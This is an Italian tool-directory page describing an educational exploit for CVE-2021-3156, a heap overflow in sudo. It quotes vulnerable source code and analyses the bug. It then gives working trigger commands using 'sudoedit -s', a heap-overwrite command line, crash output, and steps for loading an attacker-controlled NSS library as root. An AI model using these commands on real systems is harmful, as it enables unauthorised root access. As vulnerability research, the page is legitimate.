Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-3156 — Implementazione e analisi didattica di un exploit per CVE-2021-3156, un heap-based buffer overflow nella funzione set_cmnd() di sudo, che consente l'escalation dei privilegi a root tramite argomenti della riga di comando appositamente predisposti. | Kitploit
Strumenti/GitHubGitHub/musergi/cve-2021-3156
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubmusergi/cve-2021-3156

CVE-2021-3156

Implementazione e analisi didattica di un exploit per CVE-2021-3156, un heap-based buffer overflow nella funzione set_cmnd() di sudo, che consente l'escalation dei privilegi a root tramite argomenti della riga di comando appositamente predisposti.

Vedi Repository
24 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-3156

In questo documento includiamo tutte le conoscenze necessarie per comprendere il codice in questo repository e perché funziona. Tutta la spiegazione è basata sul report creato da QUALYS. Lì sono spiegate ulteriori forme di sfruttamento.

Requisiti

Le versioni vulnerabili di sudo sono le versioni legacy da 1.8.2 a 1.8.31p2 e tutte le versioni stabili da 1.9.0 a 1.9.5p1, nella loro configurazione predefinita.

Questo repository è testato su Ubuntu 20.04 (sudo 1.8.31). In esso apriamo un terminale con privilegi di root.

Analisi

Se Sudo viene eseguito per lanciare un comando in modalità shell:

  • Tramite l'opzione -s, che imposta i flag MODE_SHELL di sudo.
  • Tramite l'opzione -i, che imposta i flag MODE_SHELL e MODE_LOGIN_SHELL di sudo.

Quindi all'inizio di main() di sudo, parse_args() riscrive argv, concatenando tutti gli argomenti della riga di comando e proteggendo tutti i meta-caratteri con backslash.

root@kitploit:~
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

Successivamente, in sudoers_policy_main(), set_cmnd() concatena gli argomenti della riga di comando in un buffer basato su heap user_args e rimuove la protezione dei meta-caratteri, "per scopi di corrispondenza e registrazione di sudoers":

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

Se un argomento della riga di comando termina con un singolo carattere backslash, allora:

  • from[0] è il carattere backslash e from[1] il terminatore nullo
  • from viene incrementato e punta al terminatore nullo
  • Il terminatore nullo viene copiato nel buffer user_args e from viene incrementato di nuovo e punta fuori dai limiti
  • Il ciclo while legge e copia i caratteri fuori dai limiti nel buffer user_args.

In altre parole, set_cmnd() è vulnerabile a un overflow del buffer basato su heap, perché i caratteri fuori dai limiti che vengono copiati nel buffer user_args non sono stati inclusi nella sua dimensione.

In teoria, tuttavia, nessun argomento della riga di comando può terminare con un singolo carattere backslash: se MODE_SHELL o MODE_LOGIN_SHELL è impostato (condizione necessaria per raggiungere il codice vulnerabile), allora MODE_SHELL è impostato e parse_args() ha già protetto tutti i meta-caratteri, inclusi i backslash (cioè, ha protetto ogni singolo backslash con un secondo backslash).

In pratica, tuttavia, il codice vulnerabile in set_cmnd() e il codice di protezione in parse_args() sono circondati da condizioni leggermente diverse:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

La nostra domanda, quindi, è: possiamo impostare MODE_SHELL e MODE_EDIT o MODE_CHECK (per raggiungere il codice vulnerabile) ma non il predefinito MODE_RUN (per evitare il codice di protezione)?

La risposta, a quanto pare, è no: se impostiamo MODE_EDIT (opzione -e) o MODE_CHECK (opzione -l), allora parse_args() rimuove MODE_SHELL dai valid_flags ed esce con un errore se specifichiamo un flag non valido come MODE_SHELL):

root@kitploit:~
                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

Ma abbiamo trovato una scappatoia: se eseguiamo Sudo come sudoedit invece di sudo, allora parse_args() imposta automaticamente MODE_EDIT ma non reimposta valid_flags, e i valid_flags includono MODE_SHELL per impostazione predefinita:

root@kitploit:~
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

Di conseguenza, se eseguiamo "sudoedit -s", allora impostiamo sia MODE_EDIT che MODE_SHELL (ma non MODE_RUN), evitiamo il codice di protezione, raggiungiamo il codice vulnerabile e causiamo un overflow del buffer basato su heap user_args attraverso un argomento della riga di comando che termina con un singolo carattere backslash:

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

Dal punto di vista di un attaccante, questo overflow del buffer è ideale:

  • Controlliamo la dimensione del buffer user_args che facciamo overflow (la dimensione dei nostri argomenti della riga di comando concatenati);
  • Controlliamo indipendentemente la dimensione e il contenuto dell'overflow stesso (il nostro ultimo argomento della riga di comando è convenientemente seguito dalle nostre prime variabili d'ambiente, che non sono incluse nel calcolo della dimensione);
  • Possiamo persino scrivere byte nulli nel buffer che facciamo overflow (ogni argomento della riga di comando o variabile d'ambiente che termina con un singolo backslash scrive un byte nullo in user_args).

Ad esempio, su un Linux amd64, il seguente comando alloca un buffer user_args di 24 byte (un chunk heap di 32 byte) e sovrascrive il campo size del chunk successivo con "A=a\0B=b\0" (0x00623d4200613d41), il suo campo fd con "C=c\0D=d\0" (0x00643d4400633d43), e il suo campo bk con "E=e\0F=f\0" (0x00663d4600653d45):

root@kitploit:~
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
root@kitploit:~
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

Sfruttamento

root@kitploit:~
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

La funzione che va in crash è nss_load_library() di glibc (alla riga 344) perché il puntatore library è stato sovrascritto.

root@kitploit:~
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

I passi per sfruttare questo crash sono i seguenti:

  1. Sovrascrivere ni->library con NULL. Questo farà sì che il codice entri nella clausola if e inizi l'analisi e il caricamento della libreria.
  2. Sovrascrivere ni->name con "X/X". Questo originariamente conteneva "systemd".
  3. Quindi le righe __stpcpy parseranno "libnss_X/X.so.2" invece di "libnss_systemd.so.2".
  4. Stiamo quindi caricando la libreria condivisa da noi controllata "libnss_X/X.so.2" come root. In essa possiamo fare tutto ciò che desideriamo come root.
Scarica lo strumento